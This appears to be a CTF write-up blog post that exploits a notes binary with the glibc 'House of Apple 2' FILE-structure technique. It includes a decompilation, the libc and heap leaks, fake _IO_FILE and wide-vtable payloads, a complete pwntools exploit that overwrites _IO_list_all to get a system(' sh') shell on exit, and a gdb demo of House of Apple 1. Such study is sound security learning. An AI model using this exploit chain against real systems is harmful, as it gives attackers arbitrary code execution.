An Apple a Day Keeps ASLR Away
← back to blog[Abusing glibc Wide-Mode I/O and FILE Structure Corruption for Reliable Code Execution]
We are provided with the following checksec output for the binary notes_patched:
muffin@gentoo checksec -f notes_patched
ELF64: | Canary: true CFI: false SafeStack: false Fortify: false Fortified: 0 NX: true PIE: Full Relro: Full RPATH: None RUNPATH: . | File: notes_patched
Enabled Protections
-
Stack Canary: Enabled Stack canaries are present, making straightforward stack-based buffer overflows harder to exploit without a leak.
-
NX (Non-Executable Memory): Enabled The stack and heap are non-executable, preventing direct shellcode execution in writable memory regions.
-
PIE (Position Independent Executable): Enabled (Full) The binary is fully position-independent, meaning ASLR randomizes its base address at runtime.
-
RELRO: Enabled (Full) The Global Offset Table (GOT) is marked read-only after relocation, preventing GOT overwrite attacks.
Disabled Protections
-
CFI (Control Flow Integrity): Disabled No enforcement of valid control-flow transfers, allowing indirect jumps or returns to be abused if control is gained.
-
SafeStack: Disabled No separation between safe and unsafe stack objects, increasing the impact of memory corruption bugs.
-
FORTIFY_SOURCE: Disabled No fortified libc wrappers are in use (and no functions are fortified), reducing runtime bounds checking.
RUNPATH: . - The binary looks for shared libraries in the current directory first (potential security risk)
file
strings so this is a notes app ,

The decompilation for the binary was more helpful as i got the whole understanding of the program ;
//
// This file was generated by the Retargetable Decompiler
// Website: https://retdec.com
//
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// ------------------------ Structures ------------------------
struct _IO_FILE {
int32_t e0;
};
// ------------------- Function Prototypes --------------------
int64_t _fini(void);
int64_t _init(void);
int64_t _start(int64_t a1, int64_t a2, int64_t a3, int64_t a4, int64_t a5, int64_t a6);
int64_t create_note(void);
int64_t delete_note(void);
void function_1030(int64_t * ptr);
int32_t function_1040(char * s);
void function_1050(void);
int32_t function_1060(char * format, ...);
int32_t function_1070(char * s, char * reject);
char * function_1080(char * s, int32_t n, struct _IO_FILE * stream);
int32_t function_1090(void);
int64_t * function_10a0(int32_t size);
int32_t function_10b0(struct _IO_FILE * stream, char * buf, int32_t modes, int32_t n);
int32_t function_10c0(char * format, ...);
int32_t function_10d0(int64_t * ptr, int32_t size, int32_t n, struct _IO_FILE * s);
int64_t function_1110(void);
int64_t function_1140(void);
int64_t function_1180(void);
int64_t function_11d0(void);
int64_t menu(void);
int64_t read_note(void);
int64_t setup(void);
int64_t write_note(void);
// --------------------- Global Variables ---------------------
int64_t g1 = -0x9b2000009cc; // 0x2208
struct _IO_FILE * g2 = NULL; // 0x4020
struct _IO_FILE * g3 = NULL; // 0x4030
char g4 = 0; // 0x4048
char * g5; // 0x4080
int64_t g6 = 0; // 0x4088
int32_t g7 = 0; // 0x4120
int32_t g8 = 0; // 0x4121
int32_t g9;
// ------- Dynamically Linked Functions Without Header --------
void __cxa_finalize(int64_t * a1);
void __gmon_start__(void);
int32_t __libc_start_main(int64_t a1, int32_t a2, char ** a3, void (*a4)(), void (*a5)(), void (*a6)());
void __stack_chk_fail(void);
// ------------------------ Functions -------------------------
// Address range: 0x1000 - 0x101b
int64_t _init(void) {
int64_t result = 0; // 0x1012
if (*(int64_t *)0x3fe8 != 0) {
// 0x1014
__gmon_start__();
result = &g9;
}
// 0x1016
return result;
}
// Address range: 0x1030 - 0x1036
void function_1030(int64_t * ptr) {
// 0x1030
free(ptr);
}
// Address range: 0x1040 - 0x1046
int32_t function_1040(char * s) {
// 0x1040
return puts(s);
}
// Address range: 0x1050 - 0x1056
void function_1050(void) {
// 0x1050
__stack_chk_fail();
}
// Address range: 0x1060 - 0x1066
int32_t function_1060(char * format, ...) {
// 0x1060
return printf(format);
}
// Address range: 0x1070 - 0x1076
int32_t function_1070(char * s, char * reject) {
// 0x1070
return strcspn(s, reject);
}
// Address range: 0x1080 - 0x1086
char * function_1080(char * s, int32_t n, struct _IO_FILE * stream) {
// 0x1080
return fgets(s, n, stream);
}
// Address range: 0x1090 - 0x1096
int32_t function_1090(void) {
// 0x1090
return getchar();
}
// Address range: 0x10a0 - 0x10a6
int64_t * function_10a0(int32_t size) {
// 0x10a0
return malloc(size);
}
// Address range: 0x10b0 - 0x10b6
int32_t function_10b0(struct _IO_FILE * stream, char * buf, int32_t modes, int32_t n) {
// 0x10b0
return setvbuf(stream, buf, modes, n);
}
// Address range: 0x10c0 - 0x10c6
int32_t function_10c0(char * format, ...) {
// 0x10c0
return scanf(format);
}
// Address range: 0x10d0 - 0x10d6
int32_t function_10d0(int64_t * ptr, int32_t size, int32_t n, struct _IO_FILE * s) {
// 0x10d0
return fwrite(ptr, size, n, s);
}
// Address range: 0x10e0 - 0x1106
int64_t _start(int64_t a1, int64_t a2, int64_t a3, int64_t a4, int64_t a5, int64_t a6) {
// 0x10e0
int64_t v1; // 0x10e0
__libc_start_main(0x17b4, (int32_t)a6, (char **)&v1, NULL, NULL, (void (*)())a3);
__asm_hlt();
// UNREACHABLE
}
// Address range: 0x1110 - 0x1139
int64_t function_1110(void) {
// 0x1110
return 0x4018;
}
// Address range: 0x1140 - 0x1179
int64_t function_1140(void) {
// 0x1140
return 0;
}
// Address range: 0x1180 - 0x11c1
int64_t function_1180(void) {
// 0x1180
if (g4 != 0) {
// 0x11c0
int64_t result; // 0x1180
return result;
}
// 0x118d
if (*(int64_t *)0x3ff8 != 0) {
// 0x119b
__cxa_finalize((int64_t *)*(int64_t *)0x4008);
}
int64_t result2 = function_1110(); // 0x11a8
g4 = 1;
return result2;
}
// Address range: 0x11d0 - 0x11d9
int64_t function_11d0(void) {
// 0x11d0
return function_1140();
}
// Address range: 0x11d9 - 0x121c
int64_t setup(void) {
// 0x11d9
setvbuf(g3, NULL, 2, 0);
return setvbuf(g2, NULL, 2, 0);
}
// Address range: 0x121c - 0x1241
int64_t menu(void) {
// 0x121c
puts("\n[ MENU ]\n");
return puts("[1] CREATE NOTE\n[2] DELETE NOTE\n[3] READ NOTE\n[4] WRITE NOTE\n[5] EXIT\n");
}
// Address range: 0x1241 - 0x1428
int64_t create_note(void) {
int64_t v1 = __readfsqword(40); // 0x124a
int32_t v2 = 0; // 0x128b
int64_t v3 = 16 * (int64_t)v2;
int32_t * v4 = (int32_t *)(v3 + (int64_t)&g6);
int64_t v5; // 0x1241
while (*v4 != 0) {
// 0x128b
v2++;
if (v2 >= 10) {
// 0x129b
puts("\n!! NO SPACE FOR NEW NOTE !!");
v5 = 0xffffffff;
goto lab_0x140e;
}
v3 = 16 * (int64_t)v2;
v4 = (int32_t *)(v3 + (int64_t)&g6);
}
// 0x12b4
printf("ENTER SIZE: ");
int64_t size; // bp-44, 0x1241
scanf("%d", &size);
int64_t * mem = malloc((int32_t)size); // 0x12eb
int64_t * str = (int64_t *)(v3 + (int64_t)&g5); // 0x1306
*str = (int64_t)mem;
if (mem != NULL) {
// 0x133f
printf("\nENTER NOTE (MAX %d CHARS): ", size + 0xffffffff & 0xffffffff);
getchar();
fgets((char *)*str, (int32_t)size, g3);
int64_t str2 = *str; // 0x139e
*(char *)(str2 + (int64_t)strcspn((char *)str2, "\n")) = 0;
printf("%s", "< BACK");
*v4 = 1;
v5 = 0;
} else {
// 0x1326
puts("\n!! MEMORY ALLOCATION FAILED !!");
v5 = 0xffffffff;
}
goto lab_0x140e;
lab_0x140e:;
int64_t result = v5; // 0x141b
if (v1 != __readfsqword(40)) {
// 0x141d
__stack_chk_fail();
result = &g9;
}
// 0x1422
return result;
}
// Address range: 0x1428 - 0x1546
int64_t delete_note(void) {
int64_t v1 = __readfsqword(40); // 0x1430
int32_t v2 = 0; // bp-20, 0x143f
printf("\nENTER INDEX: ");
scanf("%1d", &v2);
getchar();
int64_t v3; // 0x1428
if (v2 > 9) {
// 0x14a3
puts("\n!! INVALID NOTE INDEX !!");
v3 = 0xffffffff;
goto lab_0x1530;
} else {
int64_t v4 = 16 * (int64_t)v2; // 0x148e
if (*(int32_t *)(v4 + (int64_t)&g6) != 0) {
// 0x14b9
free((int64_t *)*(int64_t *)(v4 + (int64_t)&g5));
int64_t v5 = 16 * (int64_t)v2; // 0x14dd
*(int64_t *)(v5 + (int64_t)&g5) = 0;
*(int32_t *)(v5 + (int64_t)&g6) = 0;
printf("%s", "< BACK");
v3 = 0;
goto lab_0x1530;
} else {
// 0x14a3
puts("\n!! INVALID NOTE INDEX !!");
v3 = 0xffffffff;
goto lab_0x1530;
}
}
lab_0x1530:;
int64_t result = v3; // 0x153d
if (v1 != __readfsqword(40)) {
// 0x153f
__stack_chk_fail();
result = &g9;
}
// 0x1544
return result;
}
// Address range: 0x1546 - 0x168e
int64_t write_note(void) {
int64_t v1 = __readfsqword(40); // 0x154e
int32_t v2 = 0; // bp-28, 0x155d
int64_t v3 = 0; // bp-24, 0x1564
printf("\nENTER NOTE INDEX: ");
scanf("%3d", &v2);
int64_t v4; // 0x1546
if (v2 > 9) {
// 0x15c4
puts("\n!! INVALID NOTE INDEX !!");
v4 = 0xffffffff;
goto lab_0x1678;
} else {
int32_t v5 = *(int32_t *)(16 * (int64_t)v2 + (int64_t)&g6); // 0x15bd
if (v5 != 0) {
// 0x15dd
printf("ENTER WRITE INDEX: ");
scanf("%ld", &v3);
printf("ENTER DATA: ");
int64_t v6 = *(int64_t *)(16 * (int64_t)v2 + (int64_t)&g5); // 0x1633
scanf("%s", (char **)(v3 + v6));
printf("%s", "< BACK");
v4 = 0;
goto lab_0x1678;
} else {
// 0x15c4
puts("\n!! INVALID NOTE INDEX !!");
v4 = 0xffffffff;
goto lab_0x1678;
}
}
lab_0x1678:;
int64_t result = v4; // 0x1685
if (v1 != __readfsqword(40)) {
// 0x1687
__stack_chk_fail();
result = &g9;
}
// 0x168c
return result;
}
// Address range: 0x168e - 0x17b4
int64_t read_note(void) {
int64_t v1 = __readfsqword(40); // 0x1696
int32_t v2 = 0; // bp-20, 0x16a5
int64_t v3; // 0x168e
if (g7 > 1) {
// 0x176c
puts("\n?? GET SPOTIFY PREMIUM ??");
printf("%s", "< BACK");
v3 = 0;
} else {
// 0x16bb
printf("\nENTER INDEX: ");
scanf("%3d", &v2);
getchar();
if (v2 < 11) {
// 0x1710
printf("NOTE: %s\n", (char *)(16 * (int64_t)v2 + (int64_t)&g5));
printf("%s", "< BACK");
g7 = &g8;
v3 = 0;
} else {
// 0x16f7
puts("\n!! INVALID NOTE INDEX !!");
v3 = 0xffffffff;
}
}
int64_t result = v3; // 0x17ab
if (v1 != __readfsqword(40)) {
// 0x17ad
__stack_chk_fail();
result = &g9;
}
// 0x17b2
return result;
}
// Address range: 0x17b4 - 0x198b
int main(int argc, char ** argv) {
// 0x17b4
__readfsqword(40);
setup();
menu();
printf(">> ");
int64_t v1; // bp-20, 0x17b4
scanf("%1d", &v1);
uint32_t v2; // 0x182b
if ((int32_t)v1 < 6) {
// 0x181a
v2 = *(int32_t *)((4 * v1 & 0x3fffffffc) + (int64_t)&g1);
return (int64_t)v2 + (int64_t)&g1;
}
puts("[ INVALID CHOICE ]");
menu();
printf(">> ");
scanf("%1d", &v1);
while ((int32_t)v1 >= 6) {
// 0x1958
puts("[ INVALID CHOICE ]");
menu();
printf(">> ");
scanf("%1d", &v1);
}
// 0x181a
v2 = *(int32_t *)((4 * v1 & 0x3fffffffc) + (int64_t)&g1);
return (int64_t)v2 + (int64_t)&g1;
}
// Address range: 0x198c - 0x1999
int64_t _fini(void) {
// 0x198c
int64_t result; // 0x198c
return result;
}
// --------------------- Meta-Information ---------------------
// Detected compiler/packer: gcc (14.2.1)
// Detected functions: 25
While researching heap exploitation techniques and going through various “House of ____” exploits, I found that House of Apple 2 matched perfectly with what this challenge required.
The House of Apple technique is primarily concerned with _IO_FILE->_wide_data member attacks. It allows us to rewrite memory after hijacking this member or control the program execution flow through FILE structure corruption.
What is a Vtable?
A basic vtable is nothing more than an ordinary struct containing function pointers, which can be shared between object instances.
Ill try to write a demo program to understand hoa-2 better and what does it solve and what it does .

glibc Internals
Next we will need a heap controlled area for exploiting. Before that, some glibc internals.
glibc uses a big internal structure called struct _IO_FILE. This is what backs FILE * objects like stdout, stderr, file streams, etc.
For wide-character support (wprintf, fputwc, Unicode stuff), glibc adds extra indirection. _wide_data stores wide-character state and buffers. _wide_vtable is the function pointer table for wide I/O operations. These are separate pointers inside the FILE structure.
What is _wide_data?
_wide_data is a pointer inside _IO_FILE:
struct _IO_FILE {
...
struct _IO_wide_data *_wide_data;
...
};
What it contains conceptually: _IO_wide_data holds wide-character buffers, state for multibyte to wide-char conversion, and pointers used during wide I/O operations.
Simplified idea:
struct _IO_wide_data {
wchar_t *_IO_read_ptr;
wchar_t *_IO_read_end;
wchar_t *_IO_write_ptr;
wchar_t *_IO_write_end;
...
};
The thing is, if you control _wide_data, glibc will trust pointers inside it. Those pointers get dereferenced during I/O operations. Fake _wide_data lets you redirect reads/writes or prepare for a vtable call.
glibc vtable exploitation
When glibc performs an I/O operation, it does something like:
fp->_wide_data->_wide_vtable->overflow(fp, ch);
If _wide_vtable is fake and heap-controlled, glibc jumps to an attacker-controlled address. This is a clean RIP control primitive.
Internally, libc has three global FILE objects: stdin, stdout, stderr. Each of these is a fully-initialized _IO_FILE structure with valid locks, valid mode flags, valid wide I/O state, and most importantly our trusted vtables.

What _mode does
Inside _IO_FILE:
int _mode;
glibc uses _mode to decide byte I/O vs wide-char I/O.
Rule (from glibc):
if (fp->_mode > 0)
use wide I/O
else
use byte I/O
So when you do:
stderr_fp->_mode = 1;
That guarantees _wide_data will be accessed, _wide_vtable will be dereferenced, and normal byte vtable is bypassed.

After compiling with these flags i got an error ; we needed to do bc the FILE vtable itself is wrong, so glibc never reaches _IO_WOVERFLOW
Apple 2 still needs a legitimate FILE vtable to route execution into the wide path
While looking through more on house of apple i found this image , which was on the idea of exploit this chalelnge closely resembleded

In older glibc versions (< 2.24), you could directly overwrite FILE structure vtables. But glibc added vtable validation that checks if vtable pointers are within valid memory ranges.
House of Apple 2 bypasses these protections by relying on a design gap in glibc’s FILE validation logic. Instead of forging a fake vtable, it reuses a legitimate and fully validated vtable (_IO_wfile_jumps), which passes all internal consistency checks. The exploit then redirects the wide-character vtable pointer, which glibc does not subject to the same validation as the primary vtable. When a wide-character I/O path is triggered, glibc dispatches function calls through this unvalidated wide vtable, allowing the attacker to gain control of execution without tripping the standard vtable integrity checks.
When a program calls something like fwrite(), glibc eventually looks up a function pointer from the FILE structure’s vtable and calls it. This means the program trusts whatever function address is stored in that table. If an attacker can control that pointer, they get to choose what code runs. That’s the core idea about apple
glibc also keeps a global linked list of every open FILE stream called _IO_list_all. When the program exits, glibc walks this list to flush and close all files. It starts at _IO_list_all, follows each _chain pointer, and calls flush-related functions on every FILE object it finds. The attack abuses this cleanup step by corrupting the list so that it points to a fake or attacker-controlled FILE structure. When glibc later flushes all streams, it unknowingly calls functions through the attacker-controlled vtable, giving code execution.
This is a simple notes application with the following functions:
1. Create note - Allocates heap memory for a note
2. Delete note - Frees a note
3. Read note - Displays note content
4. Write note - Writes data to a note at an offset
5. Exit - Exits the program
The vulnerability is in the write_note function:
void write_note(int idx, size_t offset, char *data) {
// BUG: offset is NOT validated!
scanf("%s", notes[idx] + offset);
}
What this means:
notes[idx]is a pointer to our note on the heap- We can specify ANY
offset(positive or negative!) notes[idx] + offsetlets us write ANYWHERE relative to our note
Example:
// If notes[0] is at address 0x555555559000
// and we use offset = -0x1000
// We write to: 0x555555559000 - 0x1000 = 0x555555558000
// Or if offset = 0x10000, we write to:
// 0x555555559000 + 0x10000 = 0x555555569000
This is an arbitrary relative write - we can write anywhere in memory relative to our heap
So First, we need to leak a libc address. ASLR randomizes where libc lives in memory, so until we know its base address, we can’t reliably call functions like system. Once we leak one libc pointer, we can calculate where everything else in libc is.
Next, we leak a heap address. This tells us where our controlled data lives in memory. We need this because we’re going to place a fake object on the heap and later make the program treat it as something real.
Then we build a fake FILE structure on the heap. A FILE structure is just a big struct full of pointers and flags. glibc trusts it. If we carefully fill it with the right values, glibc won’t realize it’s fake.
After that, we patch critical FILE pointers like _lock, _wide_data, and the wide vtable pointer. These fields are needed so glibc doesn’t crash and so execution eventually flows into a function pointer we control.
Next, we overwrite _IO_list_all so that instead of pointing to real FILE streams, it points to our fake FILE structure on the heap. Now glibc thinks our fake object is a real file that needs to be flushed.
Finally, we trigger exit(). When the program exits, glibc automatically walks _IO_list_all and flushes every FILE it sees. When it reaches our fake FILE, it follows our controlled pointers and ends up calling system("/bin/sh").
When we call exit ; this is somewhat of a representation of whats happening

glibc tries to defend against FILE-structure attacks by validating the main vtable pointer before using it. That means if you point the main vtable to something fake or attacker-made, glibc will usually detect it and abort. House of Apple 2 avoids this by not forging a vtable at all. Instead, it uses a real, legitimate vtable that already exists inside libc, such as _IO_wfile_jumps, which passes all validation checks cleanly.
The trick is that FILE structures used for wide-character I/O contain a second vtable, called the _wide_vtable. Unlike the main vtable, this wide vtable is not validated by glibc. Once execution enters a wide-character code path, glibc blindly trusts the function pointers inside _wide_vtable. By overwriting this pointer, the attacker gains control over which function gets called next.
First leak a libc address because modern systems use ASLR, which means libc is loaded at a random address every time the program runs. If we do not know where libc is in memory, we cannot reliably call important functions like system. To defeat ASLR, we need to leak one real libc address and use it to calculate the rest.
The program lets us read memory using a negative index, which means we can read data before the notes array. In memory, the Global Offset Table (GOT) is located nearby, and it stores the real runtime addresses of libc functions such as free. When we call read_note(-16), we accidentally read the GOT entry for free, leaking its address.
Once we have the leaked address of free, we subtract its known offset inside libc. This gives us the base address of libc in memory. From that single value, we can calculate the addresses of all other libc functions, including system, which we will need later in the exploit

We need to create a fake _IO_FILE_plus structure on the heap with three
parts:
Part A: Fake _IO_FILE structure
fake_file = flat({
0x00: b" sh\x00\x00\x00\x00", # _flags
0x88: 0, # _lock
0xa0: 0, # _wide_data
0xc0: 1, # _mode
0xd8: libc.sym['_IO_wfile_jumps']
}, length=224)
This creates a fake FILE object exactly the size glibc expects.
-
_flags = " sh"This field normally stores flags, but later glibc passes it as an argument to a function pointer. Since we hijack that function to besystem, this becomes:system(" sh")which spawns a shell. The spaces help avoid validation checks.
-
_lockglibc expects this to point to writable memory. If it’s invalid, the program crashes. We set it to zero for now and patch it later to point into the heap. -
_wide_dataThis tells glibc where the wide-character data lives. We will make this point to another fake structure we control. -
_mode = 1This forces glibc to use wide-character functions, which is crucial because those functions use the unvalidated wide vtable. -
vtable = _IO_wfile_jumpsThis is a real vtable inside libc. Using a legitimate vtable avoids glibc’s vtable integrity checks.
At this point, glibc thinks this is a completely valid FILE object.
Part B: Fake _IO_wide_data
wide_data = flat({
0x18: 0, # _IO_write_base
0x20: 1, # _IO_write_ptr
0xe0: 0 # _wide_vtable
}, length=0x100)
This structure controls when glibc decides to flush a file.
-
_IO_write_ptr > _IO_write_baseSince1 > 0, glibc believes there is pending data that needs to be flushed. -
When glibc flushes, it calls a function from the wide vtable, which we control next.
-
_wide_vtableThis will be patched to point to our fake wide vtable.
This is how we force glibc to actually make the function call.
Part C: Fake wide vtable
wide_vtable = flat({
0x68: libc.sym['system']
}, length=0x80)
-
The
doallocatefunction pointer is overwritten withsystem. -
glibc does not validate this wide vtable.
-
When glibc calls
doallocate, it actually calls:system(fake_file->_flags)
And since _flags = " sh", we get a shell.
How everything is laid out in memory
Offset 0x000: fake _IO_FILE (224 bytes)
Offset 0x100: fake _IO_wide_data (256 bytes)
Offset 0x200: fake wide_vtable (128 bytes)
And then we write it into the heap:
payload = fake_file.ljust(0x100, b'\x00')
payload += wide_data.ljust(0x200 - 0x100, b'\x00')
payload += wide_vtable
create(20000, payload)
This puts all fake structures next to each other, so pointers inside them can reference each other safely.
Leaking the heap address
heap_addr = u64(read_note(0).ljust(8, b'\x00'))
At this point, we already created a note that lives on the heap. When we read that note back, the program does not just give us our clean payload. It also leaks heap metadata that glibc stores next to heap chunks. This metadata contains pointers that point back into the heap itself.
By reading the first few bytes of the note and converting them into a 64-bit value, we recover a real heap address.
Patching the fake FILE pointers
Now that we know the heap base address, we can fix up the fake FILE structure so all its internal pointers point to valid memory.
write_note(0, 0x88, p64(heap_addr + 0x10)) # _lock
The _lock field must point to writable memory or glibc will crash when it tries to lock the FILE. We point it slightly inside the heap, which is always writable.
write_note(0, 0xa0, p64(heap_addr + 0x100)) # _wide_data
This tells glibc where the wide-character data lives. We already placed our fake _IO_wide_data structure at offset 0x100 inside the payload, so we point _wide_data there.
write_note(0, 0x1e0, p64(heap_addr + 0x200)) # _wide_vtable
Finally, we patch the _wide_vtable pointer to point to our fake wide vtable, which we placed at offset 0x200. This is the most important pointer, because glibc does not validate it. When glibc later calls a wide-character function, it will jump to whatever function pointer we placed there.

Hijacking _IO_list_all
This is the most important step of the whole exploit. Until now, we’ve only prepared our fake FILE structure. Now we force glibc to actually use it.
glibc keeps a global pointer called _IO_list_all. This pointer is the head of a linked list of all FILE structures that exist in the program. When the program exits, glibc walks this list and flushes every file it finds.
Normally, _IO_list_all points to real FILE objects inside libc.
io_list_all = libc.sym['_IO_list_all']
offset = io_list_all - heap_addr
write_note(0, offset, p64(heap_addr))
io_list_all = libc.sym['_IO_list_all']
Now that we know the libc base address, we can compute the exact address of _IO_list_all in memory.
offset = io_list_all - heap_addr
Our arbitrary write primitive is relative to the start of our heap note.
So we calculate how far _IO_list_all is from our heap buffer.
This converts an absolute address into a relative offset we can write to.
write_note(0, offset, p64(heap_addr))
This is the takeover.
We overwrite the value of _IO_list_all so that instead of pointing to real FILE objects, it now points directly to our fake FILE structure on the heap.
glibc does not check whether _IO_list_all points to a real FILE.
It blindly trusts the pointer.
So after this write:
- glibc believes our fake FILE is a real one
- it adds it to the cleanup process
- when
exit()is called, glibc will process our FILE
Before
_IO_list_all → real FILE → real FILE → ...
After
_IO_list_all → fake FILE (heap) → fake wide_data → fake vtable → system()
final exploit
from pwn import *
elf = ELF('./notes_patched')
libc = ELF('./libc.so.6')
p = process('./notes_patched')
What this does:
ELF()loads binary information (addresses, symbols, etc.)process()starts the target programpwnlibrary handles communication and address packing
Helper Functions
def create(size, content):
p.sendlineafter(b'>> ', b'1') # Select create option
p.sendlineafter(b'SIZE: ', str(size).encode())
p.sendlineafter(b'CHARS): ', content) # Send note content
This function automates creating a note by:
- Waiting for the menu prompt
>> - Sending option
1(create) - Sending the size
- Sending the content
def read_note(idx):
p.sendlineafter(b'>> ', b'3')
p.sendlineafter(b'INDEX: ', str(idx).encode())
p.recvuntil(b'NOTE: ')
data = p.recvuntil(b'< BACK', drop=True)
return data
Reads a note and returns its content. drop=True removes the < BACK delimiter.
def write_note(idx, offset, content):
p.sendlineafter(b'>> ', b'4')
p.sendlineafter(b'INDEX: ', str(idx).encode())
p.sendlineafter(b'INDEX: ', str(offset).encode())
p.sendlineafter(b'DATA: ', content)
Writes to a note at a specific offset (the vulnerability!).
Exploitation
# Leak libc
libc_leak = u64(read_note(-16).ljust(8, b'\x00'))
libc.address = libc_leak - libc.sym['free']
u64()unpacks 8 bytes to a 64-bit integerljust(8, b'\x00')pads data to 8 bytes- Subtracting
freeoffset gives us libc base
# Build fake FILE
fake_file = flat({
0x00: b" sh\x00\x00\x00\x00",
0x88: 0,
0xa0: 0,
0xc0: 1,
0xd8: libc.sym['_IO_wfile_jumps']
}, length=224, filler=b'\x00')
flat() creates binary data with values at specific offsets, padding with null bytes.
# Patch pointers
write_note(0, 0x88, p64(heap_addr + 0x10))
p64()packs a 64-bit integer to 8 bytes (little-endian)- Overwrites the
_lockfield at offset 0x88
# Hijack _IO_list_all
offset = io_list_all - heap_addr
write_note(0, offset, p64(heap_addr))
Uses the arbitrary relative write to overwrite _IO_list_all in libc!
Why This Works
The glibc Call Chain
When you exit, glibc does this:
// In elf/dl-fini.c
exit() {
...
_IO_cleanup();
}
// In libio/genops.c
_IO_cleanup() {
return _IO_flush_all_lockp(0);
}
// In libio/genops.c
_IO_flush_all_lockp() {
struct _IO_FILE *fp;
// Iterate the chain!
for (fp = _IO_list_all; fp != NULL; fp = fp->_chain) {
// Check if buffer needs flushing
if (fp->_IO_write_ptr > fp->_IO_write_base) {
// Call overflow from vtable
if (fp->_mode <= 0) {
// Normal mode
_IO_overflow(fp, EOF);
} else {
// Wide mode (our case!)
_IO_wfile_overflow(fp, WEOF);
}
}
}
}
// In libio/wfileops.c
_IO_wfile_overflow() {
...
// Check vtable (VALIDATED ✓)
_IO_vtable_check(fp->vtable); // Passes! We use _IO_wfile_jumps
// Eventually calls:
fp->_wide_data->_wide_vtable->doallocate(fp);
// ↑ NOT VALIDATED ✗
}
The Bypass
glibc’s protection:
void _IO_vtable_check(struct _IO_jump_t *vtable) {
// Check if vtable is in valid range
if (vtable < &__start__IO_vtables ||
vtable >= &__stop__IO_vtables) {
abort(); // Kill the program!
}
}
- We use
_IO_wfile_jumps(a real vtable) - But
_wide_vtableis NOT checked - When
doallocateis called from_wide_vtable, it executes our function

More on house of apple how it works
static wint_t _IO_wstrn_overflow (FILE *fp, wint_t c)
{
_IO_wstrnfile *snf = (_IO_wstrnfile *) fp;
// Key Check: if this passes, we write to memory!
if (fp->_wide_data->_IO_buf_base != snf->overflow_buf)
{
// VULNERABILITY: Writes heap address to controlled location!
// overflow_buf is at fp + 0xf0
fp->_wide_data->_IO_write_base = snf->overflow_buf; // [_wide_data+0x18
]
fp->_wide_data->_IO_read_base = snf->overflow_buf; // [_wide_data+0x10
]
fp->_wide_data->_IO_read_ptr = snf->overflow_buf; // [_wide_data+0x00
]
fp->_wide_data->_IO_read_end = snf->overflow_buf + N; // [_wide_data+0x08
]
}
// Additional writes
fp->_wide_data->_IO_write_ptr = snf->overflow_buf; // [_wide_data+0x20]
fp->_wide_data->_IO_write_end = snf->overflow_buf; // [_wide_data+0x28]
return c;
}
IMPACT: By controlling fp->_wide_data, we control WHERE these heap addresses are written!
Demo Program Output
[*] allocate a 0x100 chunk
===========================old value=======================
[0x2a410310]: 0x1122334455667788 0x1122334455667788
[0x2a410320]: 0x1122334455667788 0x1122334455667788
[0x2a410330]: 0x1122334455667788 0x1122334455667788
[0x2a410340]: 0x1122334455667788 0x1122334455667788
===========================old value=======================
[*] puts address: 0x7fd0ca691cc0
[*] stderr->_IO_write_ptr address: 0x7fd0ca82b478
[*] stderr->_flags2 address: 0x7fd0ca82b4c4
[*] stderr->_wide_data address: 0x7fd0ca82b4f0
[*] stderr->vtable address: 0x7fd0ca82b528
[*] _IO_wstrn_jumps address: 0x7fd0ca826b90
[+] step 1: change stderr->_IO_write_ptr to -1
[+] step 2: change stderr->_flags2 to 8
[+] step 3: replace stderr->_wide_data with the allocated chunk
[+] step 4: replace stderr->vtable with _IO_wstrn_jumps
[+] step 5: call fcloseall and trigger house of apple
===========================new value=======================
[0x2a410310]: 0x00007fd0ca82b770 0x00007fd0ca82b870
[0x2a410320]: 0x00007fd0ca82b770 0x00007fd0ca82b770
[0x2a410330]: 0x00007fd0ca82b770 0x00007fd0ca82b770
[0x2a410340]: 0x00007fd0ca82b770 0x00007fd0ca82b870
===========================new value=======================
| Phase | Memory Address | Value | Explanation |
|---|---|---|---|
| BEFORE | 0x2a410310 | 0x1122334455667788 | Controlled fill value we set initially |
| AFTER | 0x2a410310 | 0x00007fd0ca82b770 | stderr->overflow_buf address leaked! |
This demonstrates: We can write a known address (overflow_buf = heap/libc addr) to ANY memory location we control via _wide_data :)
Step 1: Set Breakpoint Before fcloseall()
gdb ./house_of_apple
break fcloseall
run
Step 2: Examine Hijacked stderr Structure
# Check stderr location
p stderr
# $1 = (struct _IO_FILE *) 0x7ffff7e2b4a0 <_IO_2_1_stderr_>
# Examine critical members
x/gx (stderr + 0x28) # _IO_write_ptr (should be -1)
x/gx (stderr + 0x74) # _flags2 (should be 8)
x/gx (stderr + 0xa0) # _wide_data (should point to our chunk)
x/gx (stderr + 0xd8) # vtable (should be _IO_wstrn_jumps)
Expected Output:
_IO_write_ptr: 0xffffffffffffffff (-1)
_flags2: 0x0000000000000008 (wide mode enabled)
_wide_data: 0x0000000000405310 (our controlled chunk!)
vtable: 0x00007ffff7e26b90 (_IO_wstrn_jumps)
Step 3: Examine Target Chunk BEFORE Attack
# Our chunk that _wide_data points to
x/16gx 0x405310
Output:
0x405310: 0x1122334455667788 0x1122334455667788
0x405320: 0x1122334455667788 0x1122334455667788
0x405330: 0x1122334455667788 0x1122334455667788
0x405340: 0x1122334455667788 0x1122334455667788
Step 4: Continue and Break After _IO_wstrn_overflow
break _IO_wstrn_overflow
continue
# Inside _IO_wstrn_overflow, examine:
print/x $rdi # fp (our fake _IO_FILE)
print/x $rdi + 0xf0 # overflow_buf address
x/gx $rdi + 0xa0 # fp->_wide_data (our target chunk)
Step 5: Examine Target Chunk AFTER Attack
finish # Return from _IO_wstrn_overflow
x/16gx 0x405310 # Check our chunk again
Output:
0x405310: 0x00007ffff7e2b770 0x00007ffff7e2b870 ← CHANGED!
0x405320: 0x00007ffff7e2b770 0x00007ffff7e2b770 ← CHANGED!
0x405330: 0x00007ffff7e2b770 0x00007ffff7e2b770 ← CHANGED!
0x405340: 0x00007ffff7e2b770 0x00007ffff7e2b870 ← CHANGED!
SUM FACTZ
- Before: Chunk filled with
0x1122334455667788 - After: Chunk filled with
0x00007ffff7e2b770(overflow_buf address)